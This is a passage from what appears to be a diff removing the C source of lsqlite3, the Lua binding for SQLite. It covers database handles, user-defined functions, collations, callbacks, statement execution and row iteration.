sqlite3_bind_parameter_name(vm, n); - if (name && (name[0] == ':' || name[0] == '$')) { - lua_pushstring(L, ++name); - lua_gettable(L, 2); - result = dbvm_bind_index(L, vm, n, -1); - lua_pop(L, 1); - } - else { - lua_pushnumber(L, n); - lua_gettable(L, 2); - result = dbvm_bind_index(L, vm, n, -1); - lua_pop(L, 1); - } - - if (result != SQLITE_OK) { - lua_pushnumber(L, result); - return 1; - } - } - - lua_pushnumber(L, SQLITE_OK); - return 1; -} - -/* -** ======================================================= -** Database (internal management) -** ======================================================= -*/ - -/* -** When creating database handles, always creates a `closed' database handle -** before opening the actual database; so, if there is a memory error, the -** database is not left opened. -** -** Creates a new 'table' and leaves it in the stack -*/ -static sdb *newdb (lua_State *L) { - sdb *db = (sdb*)lua_newuserdata(L, sizeof(sdb)); - db->L = L; - db->db = NULL; /* database handle is currently `closed' */ - db->func = NULL; - - db->busy_cb = - db->busy_udata = - db->progress_cb = - db->progress_udata = - db->trace_cb = - db->trace_udata = LUA_NOREF; - - luaL_getmetatable(L, sqlite_meta); - lua_setmetatable(L, -2); /* set metatable */ - - /* to keep track of 'open' virtual machines */ - lua_pushlightuserdata(L, db); - lua_newtable(L); - lua_rawset(L, LUA_REGISTRYINDEX); - - return db; -} - -static int cleanupdb(lua_State *L, sdb *db) { - sdb_func *func; - sdb_func *func_next; - int top; - int result; - - /* free associated virtual machines */ - lua_pushlightuserdata(L, db); - lua_rawget(L, LUA_REGISTRYINDEX); - - /* close all used handles */ - top = lua_gettop(L); - lua_pushnil(L); - while (lua_next(L, -2)) { - sdb_vm *svm = lua_touserdata(L, -2); /* key: vm; val: sql text */ - cleanupvm(L, svm); - - lua_settop(L, top); - lua_pushnil(L); - } - - lua_pop(L, 1); /* pop vm table */ - - /* remove entry in lua registry table */ - lua_pushlightuserdata(L, db); - lua_pushnil(L); - lua_rawset(L, LUA_REGISTRYINDEX); - - /* 'free' all references */ - luaL_unref(L, LUA_REGISTRYINDEX, db->busy_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->busy_udata); - luaL_unref(L, LUA_REGISTRYINDEX, db->progress_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->progress_udata); - luaL_unref(L, LUA_REGISTRYINDEX, db->trace_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->trace_udata); - - /* close database */ - result = sqlite3_close(db->db); - db->db = NULL; - - /* free associated memory with created functions */ - func = db->func; - while (func) { - func_next = func->next; - luaL_unref(L, LUA_REGISTRYINDEX, func->fn_step); - luaL_unref(L, LUA_REGISTRYINDEX, func->fn_finalize); - luaL_unref(L, LUA_REGISTRYINDEX, func->udata); - free(func); - func = func_next; - } - db->func = NULL; - return result; -} - -static sdb *lsqlite_getdb(lua_State *L, int index) { - sdb *db = (sdb*)luaL_checkudata(L, index, sqlite_meta); - // TODO lsm if (db == NULL) luaL_typerror(L, index, "sqlite database"); - return db; -} - -static sdb *lsqlite_checkdb(lua_State *L, int index) { - sdb *db = lsqlite_getdb(L, index); - if (db->db == NULL) luaL_argerror(L, index, "attempt to use closed sqlite database"); - return db; -} - - -/* -** ======================================================= -** User Defined Functions - Context Methods -** ======================================================= -*/ -typedef struct { - sqlite3_context *ctx; - int ud; -} lcontext; - -static lcontext *lsqlite_make_context(lua_State *L) { - lcontext *ctx = (lcontext*)lua_newuserdata(L, sizeof(lcontext)); - lua_rawgeti(L, LUA_REGISTRYINDEX, sqlite_ctx_meta_ref); - lua_setmetatable(L, -2); - ctx->ctx = NULL; - ctx->ud = LUA_NOREF; - return ctx; -} - -static lcontext *lsqlite_getcontext(lua_State *L, int index) { - lcontext *ctx = (lcontext*)luaL_checkudata(L, index, sqlite_ctx_meta); - // TODO lsm if (ctx == NULL) luaL_typerror(L, index, "sqlite context"); - return ctx; -} - -static lcontext *lsqlite_checkcontext(lua_State *L, int index) { - lcontext *ctx = lsqlite_getcontext(L, index); - if (ctx->ctx == NULL) luaL_argerror(L, index, "invalid sqlite context"); - return ctx; -} - -static int lcontext_tostring(lua_State *L) { - char buff[39]; - lcontext *ctx = lsqlite_getcontext(L, 1); - if (ctx->ctx == NULL) - strcpy(buff, "closed"); - else - sprintf(buff, "%p", ctx->ctx); - lua_pushfstring(L, "sqlite function context (%s)", buff); - return 1; -} - -static void lcontext_check_aggregate(lua_State *L, lcontext *ctx) { - sdb_func *func = (sdb_func*)sqlite3_user_data(ctx->ctx); - if (!func->aggregate) { - luaL_error(L, "attempt to call aggregate method from scalar function"); - } -} - -static int lcontext_user_data(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - sdb_func *func = (sdb_func*)sqlite3_user_data(ctx->ctx); - lua_rawgeti(L, LUA_REGISTRYINDEX, func->udata); - return 1; -} - -static int lcontext_get_aggregate_context(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - lcontext_check_aggregate(L, ctx); - lua_rawgeti(L, LUA_REGISTRYINDEX, ctx->ud); - return 1; -} - -static int lcontext_set_aggregate_context(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - lcontext_check_aggregate(L, ctx); - lua_settop(L, 2); - luaL_unref(L, LUA_REGISTRYINDEX, ctx->ud); - ctx->ud = luaL_ref(L, LUA_REGISTRYINDEX); - return 0; -} - -static int lcontext_aggregate_count(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - lcontext_check_aggregate(L, ctx); - lua_pushnumber(L, sqlite3_aggregate_count(ctx->ctx)); - return 1; -} - -#if 0 -void *sqlite3_get_auxdata(sqlite3_context*, int); -void sqlite3_set_auxdata(sqlite3_context*, int, void*, void (*)(void*)); -#endif - -static int lcontext_result(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - switch (lua_type(L, 2)) { - case LUA_TNUMBER: - sqlite3_result_double(ctx->ctx, luaL_checknumber(L, 2)); - break; - case LUA_TSTRING: - sqlite3_result_text(ctx->ctx, luaL_checkstring(L, 2), lua_strlen(L, 2), SQLITE_TRANSIENT); - break; - case LUA_TNIL: - case LUA_TNONE: - sqlite3_result_null(ctx->ctx); - break; - default: - luaL_error(L, "invalid result type %s", lua_typename(L, 2)); - break; - } - - return 0; -} - -static int lcontext_result_blob(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - const char *blob = luaL_checkstring(L, 2); - int size = lua_strlen(L, 2); - sqlite3_result_blob(ctx->ctx, (const void*)blob, size, SQLITE_TRANSIENT); - return 0; -} - -static int lcontext_result_double(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - double d = luaL_checknumber(L, 2); - sqlite3_result_double(ctx->ctx, d); - return 0; -} - -static int lcontext_result_error(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - const char *err = luaL_checkstring(L, 2); - int size = lua_strlen(L, 2); - sqlite3_result_error(ctx->ctx, err, size); - return 0; -} - -static int lcontext_result_int(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - int i = luaL_checkint(L, 2); - sqlite3_result_int(ctx->ctx, i); - return 0; -} - -static int lcontext_result_null(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - sqlite3_result_null(ctx->ctx); - return 0; -} - -static int lcontext_result_text(lua_State *L) { - lcontext *ctx = lsqlite_checkcontext(L, 1); - const char *text = luaL_checkstring(L, 2); - int size = lua_strlen(L, 2); - sqlite3_result_text(ctx->ctx, text, size, SQLITE_TRANSIENT); - return 0; -} - -/* -** ======================================================= -** Database Methods -** ======================================================= -*/ - -static int db_isopen(lua_State *L) { - sdb *db = lsqlite_getdb(L, 1); - lua_pushboolean(L, db->db != NULL ? 1 : 0); - return 1; -} - -static int db_last_insert_rowid(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - /* conversion warning: int64 -> luaNumber */ - sqlite_int64 rowid = sqlite3_last_insert_rowid(db->db); - lua_Number n = (lua_Number)rowid; - if (n == rowid) - lua_pushnumber(L, n); - else - lua_pushfstring(L, "%ll", rowid); - return 1; -} - -static int db_changes(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - lua_pushnumber(L, sqlite3_changes(db->db)); - return 1; -} - -static int db_total_changes(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - lua_pushnumber(L, sqlite3_total_changes(db->db)); - return 1; -} - -static int db_errcode(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - lua_pushnumber(L, sqlite3_errcode(db->db)); - return 1; -} - -static int db_errmsg(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - lua_pushstring(L, sqlite3_errmsg(db->db)); - return 1; -} - -static int db_interrupt(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - sqlite3_interrupt(db->db); - return 0; -} - -/* -** Registering SQL functions: -*/ - -static void db_push_value(lua_State *L, sqlite3_value *value) { - switch (sqlite3_value_type(value)) { - case SQLITE_TEXT: - lua_pushlstring(L, (const char*)sqlite3_value_text(value), sqlite3_value_bytes(value)); - break; - - case SQLITE_INTEGER: - { - sqlite_int64 i64 = sqlite3_value_int64(value); - lua_Number n = (lua_Number)i64; - if (n == i64) - lua_pushnumber(L, n); - else - lua_pushlstring(L, (const char*)sqlite3_value_text(value), sqlite3_value_bytes(value)); - } - break; - - case SQLITE_FLOAT: - lua_pushnumber(L, sqlite3_value_double(value)); - break; - - case SQLITE_BLOB: - lua_pushlstring(L, sqlite3_value_blob(value), sqlite3_value_bytes(value)); - break; - - case SQLITE_NULL: - lua_pushnil(L); - break; - - default: - /* things done properly (SQLite + Lua SQLite) - ** this should never happen */ - lua_pushnil(L); - break; - } -} - -/* -** callback functions used when calling registered sql functions -*/ - -/* scalar function to be called -** callback params: context, values... */ -static void db_sql_normal_function(sqlite3_context *context, int argc, sqlite3_value **argv) { - sdb_func *func = (sdb_func*)sqlite3_user_data(context); - lua_State *L = func->db->L; - int n; - lcontext *ctx; - - int top = lua_gettop(L); - - /* ensure there is enough space in the stack */ - lua_checkstack(L, argc + 3); - - lua_rawgeti(L, LUA_REGISTRYINDEX, func->fn_step); /* function to call */ - - if (!func->aggregate) { - ctx = lsqlite_make_context(L); /* push context - used to set results */ - } - else { - /* reuse context userdata value */ - void *p = sqlite3_aggregate_context(context, 1); - /* i think it is OK to use assume that using a light user data - ** as an entry on LUA REGISTRY table will be unique */ - lua_pushlightuserdata(L, p); - lua_rawget(L, LUA_REGISTRYINDEX); /* context table */ - - if (lua_isnil(L, -1)) { /* not yet created? */ - lua_pop(L, 1); - ctx = lsqlite_make_context(L); - lua_pushlightuserdata(L, p); - lua_pushvalue(L, -2); - lua_rawset(L, LUA_REGISTRYINDEX); - } - else - ctx = lsqlite_getcontext(L, -1); - } - - /* push params */ - for (n = 0; n < argc; ++n) { - db_push_value(L, argv[n]); - } - - /* set context */ - ctx->ctx = context; - - if (lua_pcall(L, argc + 1, 0, 0)) { - const char *errmsg = lua_tostring(L, -1); - int size = lua_strlen(L, -1); - sqlite3_result_error(context, errmsg, size); - } - - /* invalidate context */ - ctx->ctx = NULL; - - if (!func->aggregate) { - luaL_unref(L, LUA_REGISTRYINDEX, ctx->ud); - } - - lua_settop(L, top); -} - -static void db_sql_finalize_function(sqlite3_context *context) { - sdb_func *func = (sdb_func*)sqlite3_user_data(context); - lua_State *L = func->db->L; - void *p = sqlite3_aggregate_context(context, 1); /* minimal mem usage */ - lcontext *ctx; - int top = lua_gettop(L); - - lua_rawgeti(L, LUA_REGISTRYINDEX, func->fn_finalize); /* function to call */ - - /* i think it is OK to use assume that using a light user data - ** as an entry on LUA REGISTRY table will be unique */ - lua_pushlightuserdata(L, p); - lua_rawget(L, LUA_REGISTRYINDEX); /* context table */ - - if (lua_isnil(L, -1)) { /* not yet created? - shouldn't happen in finalize function */ - lua_pop(L, 1); - ctx = lsqlite_make_context(L); - lua_pushlightuserdata(L, p); - lua_pushvalue(L, -2); - lua_rawset(L, LUA_REGISTRYINDEX); - } - else - ctx = lsqlite_getcontext(L, -1); - - /* set context */ - ctx->ctx = context; - - if (lua_pcall(L, 1, 0, 0)) { - sqlite3_result_error(context, lua_tostring(L, -1), -1); - } - - /* invalidate context */ - ctx->ctx = NULL; - - /* cleanup context */ - luaL_unref(L, LUA_REGISTRYINDEX, ctx->ud); - /* remove it from registry */ - lua_pushlightuserdata(L, p); - lua_pushnil(L); - lua_rawset(L, LUA_REGISTRYINDEX); - - lua_settop(L, top); -} - -/* -** Register a normal function -** Params: db, function name, number arguments, [ callback | step, finalize], user data -** Returns: true on sucess -** -** Normal function: -** Params: context, params -** -** Aggregate function: -** Params of step: context, params -** Params of finalize: context -*/ -static int db_register_function(lua_State *L, int aggregate) { - sdb *db = lsqlite_checkdb(L, 1); - const char *name; - int args; - int result; - sdb_func *func; - - /* safety measure */ - if (aggregate) aggregate = 1; - - name = luaL_checkstring(L, 2); - args = luaL_checkint(L, 3); - luaL_checktype(L, 4, LUA_TFUNCTION); - if (aggregate) luaL_checktype(L, 5, LUA_TFUNCTION); - - /* maybe an alternative way to allocate memory should be used/avoided */ - func = (sdb_func*)malloc(sizeof(sdb_func)); - if (func == NULL) { - luaL_error(L, "out of memory"); - } - - result = sqlite3_create_function( - db->db, name, args, SQLITE_UTF8, func, - aggregate ? NULL : db_sql_normal_function, - aggregate ? db_sql_normal_function : NULL, - aggregate ? db_sql_finalize_function : NULL - ); - - if (result == SQLITE_OK) { - /* safety measures for userdata field to be present in the stack */ - lua_settop(L, 5 + aggregate); - - /* save registered function in db function list */ - func->db = db; - func->aggregate = aggregate; - func->next = db->func; - db->func = func; - - /* save the setp/normal function callback */ - lua_pushvalue(L, 4); - func->fn_step = luaL_ref(L, LUA_REGISTRYINDEX); - /* save user data */ - lua_pushvalue(L, 5+aggregate); - func->udata = luaL_ref(L, LUA_REGISTRYINDEX); - - if (aggregate) { - lua_pushvalue(L, 5); - func->fn_finalize = luaL_ref(L, LUA_REGISTRYINDEX); - } - else - func->fn_finalize = LUA_NOREF; - } - else { - /* free allocated memory */ - free(func); - } - - lua_pushboolean(L, result == SQLITE_OK ? 1 : 0); - return 1; -} - -static int db_create_function(lua_State *L) { - return db_register_function(L, 0); -} - -static int db_create_aggregate(lua_State *L) { - return db_register_function(L, 1); -} - -/* create_collation; contributed by Thomas Lauer -*/ - -typedef struct { - lua_State *L; - int ref; -} scc; - -static int collwrapper(scc *co,int l1,const void *p1, - int l2,const void *p2) { - int res=0; - lua_State *L=co->L; - lua_rawgeti(L,LUA_REGISTRYINDEX,co->ref); - lua_pushlstring(L,p1,l1); - lua_pushlstring(L,p2,l2); - if (lua_pcall(L,2,1,0)==0) res=(int)lua_tonumber(L,-1); - lua_pop(L,1); - return res; -} - -static void collfree(scc *co) { - if (co) { - luaL_unref(co->L,LUA_REGISTRYINDEX,co->ref); - free(co); - } -} - -static int db_create_collation(lua_State *L) { - sdb *db=lsqlite_checkdb(L,1); - const char *collname=luaL_checkstring(L,2); - scc *co=NULL; - int (*collfunc)(scc *,int,const void *,int,const void *)=NULL; - lua_settop(L,3); /* default args to nil, and exclude extras */ - if (lua_isfunction(L,3)) collfunc=collwrapper; - else if (!lua_isnil(L,3)) - luaL_error(L,"create_collation: function or nil expected"); - if (collfunc != NULL) { - co=(scc *)malloc(sizeof(scc)); /* userdata is a no-no as it - will be garbage-collected */ - if (co) { - co->L=L; - /* lua_settop(L,3) above means we don't need: lua_pushvalue(L,3); */ - co->ref=luaL_ref(L,LUA_REGISTRYINDEX); - } - else luaL_error(L,"create_collation: could not allocate callback"); - } - sqlite3_create_collation_v2(db->db, collname, SQLITE_UTF8, - (void *)co, - (int(*)(void*,int,const void*,int,const void*))collfunc, - (void(*)(void*))collfree); - return 0; -} - -/* -** trace callback: -** Params: database, callback function, userdata -** -** callback function: -** Params: userdata, sql -*/ -static void db_trace_callback(void *user, const char *sql) { - sdb *db = (sdb*)user; - lua_State *L = db->L; - int top = lua_gettop(L); - - /* setup lua callback call */ - lua_rawgeti(L, LUA_REGISTRYINDEX, db->trace_cb); /* get callback */ - lua_rawgeti(L, LUA_REGISTRYINDEX, db->trace_udata); /* get callback user data */ - lua_pushstring(L, sql); /* traced sql statement */ - - /* call lua function */ - lua_pcall(L, 2, 0, 0); - /* ignore any error generated by this function */ - - lua_settop(L, top); -} - -static int db_trace(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - - if (lua_gettop(L) < 2 || lua_isnil(L, 2)) { - luaL_unref(L, LUA_REGISTRYINDEX, db->trace_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->trace_udata); - - db->trace_cb = - db->trace_udata = LUA_NOREF; - - /* clear busy handler */ - sqlite3_trace(db->db, NULL, NULL); - } - else { - luaL_checktype(L, 2, LUA_TFUNCTION); - - /* make sure we have an userdata field (even if nil) */ - lua_settop(L, 3); - - luaL_unref(L, LUA_REGISTRYINDEX, db->trace_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->trace_udata); - - db->trace_udata = luaL_ref(L, LUA_REGISTRYINDEX); - db->trace_cb = luaL_ref(L, LUA_REGISTRYINDEX); - - /* set busy handler */ - sqlite3_trace(db->db, db_trace_callback, db); - } - - return 0; -} - - -#if !defined(SQLITE_OMIT_PROGRESS_CALLBACK) || !SQLITE_OMIT_PROGRESS_CALLBACK - -/* -** progress handler: -** Params: database, number of opcodes, callback function, userdata -** -** callback function: -** Params: userdata -** returns: 0 to return immediatly and return SQLITE_ABORT, non-zero to continue -*/ -static int db_progress_callback(void *user) { - int result = 1; /* abort by default */ - sdb *db = (sdb*)user; - lua_State *L = db->L; - int top = lua_gettop(L); - - lua_rawgeti(L, LUA_REGISTRYINDEX, db->progress_cb); - lua_rawgeti(L, LUA_REGISTRYINDEX, db->progress_udata); - - /* call lua function */ - if (!lua_pcall(L, 1, 1, 0)) - result = lua_toboolean(L, -1); - - lua_settop(L, top); - return result; -} - -static int db_progress_handler(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - - if (lua_gettop(L) < 2 || lua_isnil(L, 2)) { - luaL_unref(L, LUA_REGISTRYINDEX, db->progress_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->progress_udata); - - db->progress_cb = - db->progress_udata = LUA_NOREF; - - /* clear busy handler */ - sqlite3_progress_handler(db->db, 0, NULL, NULL); - } - else { - int nop = luaL_checkint(L, 2); /* number of opcodes */ - luaL_checktype(L, 3, LUA_TFUNCTION); - - /* make sure we have an userdata field (even if nil) */ - lua_settop(L, 4); - - luaL_unref(L, LUA_REGISTRYINDEX, db->progress_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->progress_udata); - - db->progress_udata = luaL_ref(L, LUA_REGISTRYINDEX); - db->progress_cb = luaL_ref(L, LUA_REGISTRYINDEX); - - /* set progress callback */ - sqlite3_progress_handler(db->db, nop, db_progress_callback, db); - } - - return 0; -} - -#else /* #if !defined(SQLITE_OMIT_PROGRESS_CALLBACK) || !SQLITE_OMIT_PROGRESS_CALLBACK */ - -static int db_progress_handler(lua_State *L) { - lua_pushliteral(L, "progress callback support disabled at compile time"); - lua_error(L); - return 0; -} - -#endif /* #if !defined(SQLITE_OMIT_PROGRESS_CALLBACK) || !SQLITE_OMIT_PROGRESS_CALLBACK */ - -/* -** busy handler: -** Params: database, callback function, userdata -** -** callback function: -** Params: userdata, number of tries -** returns: 0 to return immediatly and return SQLITE_BUSY, non-zero to try again -*/ -static int db_busy_callback(void *user, int tries) { - int retry = 0; /* abort by default */ - sdb *db = (sdb*)user; - lua_State *L = db->L; - int top = lua_gettop(L); - - lua_rawgeti(L, LUA_REGISTRYINDEX, db->busy_cb); - lua_rawgeti(L, LUA_REGISTRYINDEX, db->busy_udata); - lua_pushnumber(L, tries); - - /* call lua function */ - if (!lua_pcall(L, 2, 1, 0)) - retry = lua_toboolean(L, -1); - - lua_settop(L, top); - return retry; -} - -static int db_busy_handler(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - - if (lua_gettop(L) < 2 || lua_isnil(L, 2)) { - luaL_unref(L, LUA_REGISTRYINDEX, db->busy_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->busy_udata); - - db->busy_cb = - db->busy_udata = LUA_NOREF; - - /* clear busy handler */ - sqlite3_busy_handler(db->db, NULL, NULL); - } - else { - luaL_checktype(L, 2, LUA_TFUNCTION); - /* make sure we have an userdata field (even if nil) */ - lua_settop(L, 3); - - luaL_unref(L, LUA_REGISTRYINDEX, db->busy_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->busy_udata); - - db->busy_udata = luaL_ref(L, LUA_REGISTRYINDEX); - db->busy_cb = luaL_ref(L, LUA_REGISTRYINDEX); - - /* set busy handler */ - sqlite3_busy_handler(db->db, db_busy_callback, db); - } - - return 0; -} - -static int db_busy_timeout(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - int timeout = luaL_checkint(L, 2); - sqlite3_busy_timeout(db->db, timeout); - - /* if there was a timeout callback registered, it is now - ** invalid/useless. free any references we may have */ - luaL_unref(L, LUA_REGISTRYINDEX, db->busy_cb); - luaL_unref(L, LUA_REGISTRYINDEX, db->busy_udata); - db->busy_cb = - db->busy_udata = LUA_NOREF; - - return 0; -} - -/* -** Params: db, sql, callback, user -** returns: code [, errmsg] -** -** Callback: -** Params: user, number of columns, values, names -** Returns: 0 to continue, other value will cause abort -*/ -static int db_exec_callback(void* user, int columns, char **data, char **names) { - int result = SQLITE_ABORT; /* abort by default */ - lua_State *L = (lua_State*)user; - int n; - - int top = lua_gettop(L); - - lua_pushvalue(L, 3); /* function to call */ - lua_pushvalue(L, 4); /* user data */ - lua_pushnumber(L, columns); /* total number of rows in result */ - - /* column values */ - lua_pushvalue(L, 6); - for (n = 0; n < columns;) { - lua_pushstring(L, data[n++]); - lua_rawseti(L, -2, n); - } - - /* columns names */ - lua_pushvalue(L, 5); - if (lua_isnil(L, -1)) { - lua_pop(L, 1); - lua_newtable(L); - lua_pushvalue(L, -1); - lua_replace(L, 5); - for (n = 0; n < columns;) { - lua_pushstring(L, names[n++]); - lua_rawseti(L, -2, n); - } - } - - /* call lua function */ - if (!lua_pcall(L, 4, 1, 0)) { - if (lua_isnumber(L, -1)) - result = lua_tonumber(L, -1); - } - - lua_settop(L, top); - return result; -} - -static int db_exec(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - const char *sql = luaL_checkstring(L, 2); - int result; - - if (!lua_isnoneornil(L, 3)) { - /* stack: - ** 3: callback function - ** 4: userdata - ** 5: column names - ** 6: reusable column values - */ - luaL_checktype(L, 3, LUA_TFUNCTION); - lua_settop(L, 4); /* 'trap' userdata - nil extra parameters */ - lua_pushnil(L); /* column names not known at this point */ - lua_newtable(L); /* column values table */ - - result = sqlite3_exec(db->db, sql, db_exec_callback, L, NULL); - } - else { - /* no callbacks */ - result = sqlite3_exec(db->db, sql, NULL, NULL, NULL); - } - - lua_pushnumber(L, result); - return 1; -} - -/* -** Params: db, sql -** returns: code, compiled length or error message -*/ -static int db_prepare(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - const char *sql = luaL_checkstring(L, 2); - int sql_len = lua_strlen(L, 2); - const char *sqltail; - sdb_vm *svm; - lua_settop(L,2); /* sql is on top of stack for call to newvm */ - svm = newvm(L, db); - - if (sqlite3_prepare(db->db, sql, sql_len, &svm->vm, &sqltail) != SQLITE_OK) { - cleanupvm(L, svm); - - lua_pushnil(L); - lua_pushnumber(L, sqlite3_errcode(db->db)); - return 2; - } - - /* vm already in the stack */ - lua_pushstring(L, sqltail); - return 2; -} - -static int db_do_next_row(lua_State *L, int packed) { - int result; - sdb_vm *svm = lsqlite_checkvm(L, 1); - sqlite3_stmt *vm; - int columns; - int i; - - result = stepvm(L, svm); - vm = svm->vm; /* stepvm may change svm->vm if re-prepare is needed */ - svm->has_values = result == SQLITE_ROW ? 1 : 0; - svm->columns = columns = sqlite3_data_count(vm); - - if (result == SQLITE_ROW) { - if (packed) { - lua_newtable(L); - if (packed == 1) { - for (i = 0; i < columns;) { - vm_push_column(L, vm, i); - lua_rawseti(L, -2, ++i); - } - } - else { - for (i = 0; i < columns; ++i) { - lua_pushstring(L, sqlite3_column_name(vm, i)); - vm_push_column(L, vm, i); - lua_rawset(L, -3); - } - } - return 1; - } - else { - lua_checkstack(L, columns); - for (i = 0; i < columns; ++i) - vm_push_column(L, vm, i); - return svm->columns; - } - } - - if (svm->temp) { - /* finalize and check for errors */ - result = sqlite3_finalize(vm); - svm->vm = NULL; - cleanupvm(L, svm); - } - else if (result == SQLITE_DONE) { - result = sqlite3_reset(vm); - } - - if (result != SQLITE_OK) { - lua_pushstring(L, sqlite3_errmsg(svm->db->db)); - lua_error(L); - } - return 0; -} - -static int db_next_row(lua_State *L) { - return db_do_next_row(L, 0); -} - -static int db_next_packed_row(lua_State *L) { - return db_do_next_row(L, 1); -} - -static int db_next_named_row(lua_State *L) { - return db_do_next_row(L, 2); -} - -static int dbvm_do_rows(lua_State *L, int(*f)(lua_State *)) { - /* sdb_vm *svm = */ - lsqlite_checkvm(L, 1); - lua_pushvalue(L,1); - lua_pushcfunction(L, f); - lua_insert(L, -2); - return 2; -} - -static int dbvm_rows(lua_State *L) { - return dbvm_do_rows(L, db_next_packed_row); -} - -static int dbvm_nrows(lua_State *L) { - return dbvm_do_rows(L, db_next_named_row); -} - -static int dbvm_urows(lua_State *L) { - return dbvm_do_rows(L, db_next_row); -} - -static int db_do_rows(lua_State *L, int(*f)(lua_State *)) { - sdb *db = lsqlite_checkdb(L, 1); - const char *sql = luaL_checkstring(L, 2); - sdb_vm *svm; - lua_settop(L,2); /* sql is on top of stack for call to newvm */ - svm = newvm(L, db); - svm->temp = 1; - - if (sqlite3_prepare(db->db, sql, -1, &svm->vm, NULL) != SQLITE_OK) { - cleanupvm(L, svm); - - lua_pushstring(L, sqlite3_errmsg(svm->db->db)); - lua_error(L); - } - - lua_pushcfunction(L, f); - lua_insert(L, -2); - return 2; -} - -static int db_rows(lua_State *L) { - return db_do_rows(L, db_next_packed_row); -} - -static int db_nrows(lua_State *L) { - return db_do_rows(L, db_next_named_row); -} - -/* unpacked version of db:rows */ -static int db_urows(lua_State *L) { - return db_do_rows(L, db_next_row); -} - -static int db_tostring(lua_State *L) { - char buff[32]; - sdb *db = lsqlite_getdb(L, 1); - if (db->db == NULL) - strcpy(buff, "closed"); - else - sprintf(buff, "%p", lua_touserdata(L, 1)); - lua_pushfstring(L, "sqlite database (%s)", buff); - return 1; -} - -static int db_close(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - lua_pushnumber(L, cleanupdb(L, db)); - return 1; -} - -static int db_close_vm(lua_State *L) { - sdb *db = lsqlite_checkdb(L, 1); - /* cleanup temporary only tables? */ - int temp = lua_toboolean(L, 2); - - /* free associated virtual machines */ - lua_pushlightuserdata(L, db); - lua_rawget(L, LUA_REGISTRYINDEX); - - /* close all used handles */ - lua_pushnil(L); - while (lua_next(L, -2)) { - sdb_vm *svm = lua_touserdata(L, -2); /* key: vm; val: sql text */ - - if ((!temp || svm->temp) && svm->vm) - { - sqlite3_finalize(svm->vm); - svm->vm = NULL; - } - - /* leave key in the stack */ - lua_pop(L, 1); - } - return 0; -} - -static int db_gc(lua_State *L) { - sdb *db = lsqlite_getdb(L, 1); - if (db->db != NULL) /* ignore closed databases */ - cleanupdb(L, db); - return 0; -} - -/* -** ======================================================= -** General library functions -** ======================================================= -*/ - -static int lsqlite_version(lua_State *L) { - lua_pushstring(L, sqlite3_libversion()); - return 1; -} - -static int lsqlite_complete(lua_State *L) { - const char *sql = luaL_checkstring(L, 1); - lua_pushboolean(L, sqlite3_complete(sql)); - return 1; -} - -#ifndef WIN32 -static int lsqlite_temp_directory(lua_State *L) { - const char *oldtemp = sqlite3_temp_directory; - - if (!lua_isnone(L, 1)) { - const char *temp = luaL_optstring(L, 1, NULL); - if (sqlite3_temp_directory) { - sqlite3_free((char*)sqlite3_temp_directory); - } - if (temp) { - sqlite3_temp_directory = sqlite3_mprintf("%s", temp); - } - else { - sqlite3_temp_directory = NULL; - } - } - lua_pushstring(L, oldtemp); - return 1; -} -#endif - -static int lsqlite_do_open(lua_State *L, const char *filename) { - sdb *db = newdb(L); /* create and leave in stack */ - - if (sqlite3_open(filename, &db->db) == SQLITE_OK) { - /* database handle already in the stack - return it */ - return 1; - } - - /* failed to open database */ - lua_pushnil(L); /* push nil */ - lua_pushnumber(L, sqlite3_errcode(db->db)); - lua_pushstring(L, sqlite3_errmsg(db->db)); /* push error message */ - - /* clean things up */ - cleanupdb(L, db); - - /* return */ - return 3; -} - -static int lsqlite_open(lua_State *L) { - const char *filename = luaL_checkstring(L, 1); - return lsqlite_do_open(L, filename); -} - -static int lsqlite_open_memory(lua_State *L) { - return lsqlite_do_open(L, ":memory:"); -} - -static int lsqlite_newindex(lua_State *L) { - lua_pushliteral(L, "attempt to change readonly table"); - lua_error(L); - return 0; -} - -/* -** ======================================================= -** Register functions -** ======================================================= -*/ - -#define SC(s) { #s, SQLITE_ ## s }, -#define LSC(s) { #s, LSQLITE_ ## s }, - -static const struct { - const char* name; - int value; -} sqlite_constants[] = { - /* error codes */ - SC(OK) SC(ERROR) SC(INTERNAL) SC(PERM) - SC(ABORT) SC(BUSY) SC(LOCKED) SC(NOMEM) - SC(READONLY) SC(INTERRUPT) SC(IOERR) SC(CORRUPT) - SC(NOTFOUND) SC(FULL) SC(CANTOPEN) SC(PROTOCOL) - SC(EMPTY) SC(SCHEMA) SC(TOOBIG) SC(CONSTRAINT) - SC(MISMATCH) SC(MISUSE) SC(NOLFS) - SC(FORMAT) SC(NOTADB) - - /* sqlite_step specific return values */ - SC(RANGE) SC(ROW) SC(DONE) - - /* column types */ - SC(INTEGER) SC(FLOAT) SC(TEXT) SC(BLOB) 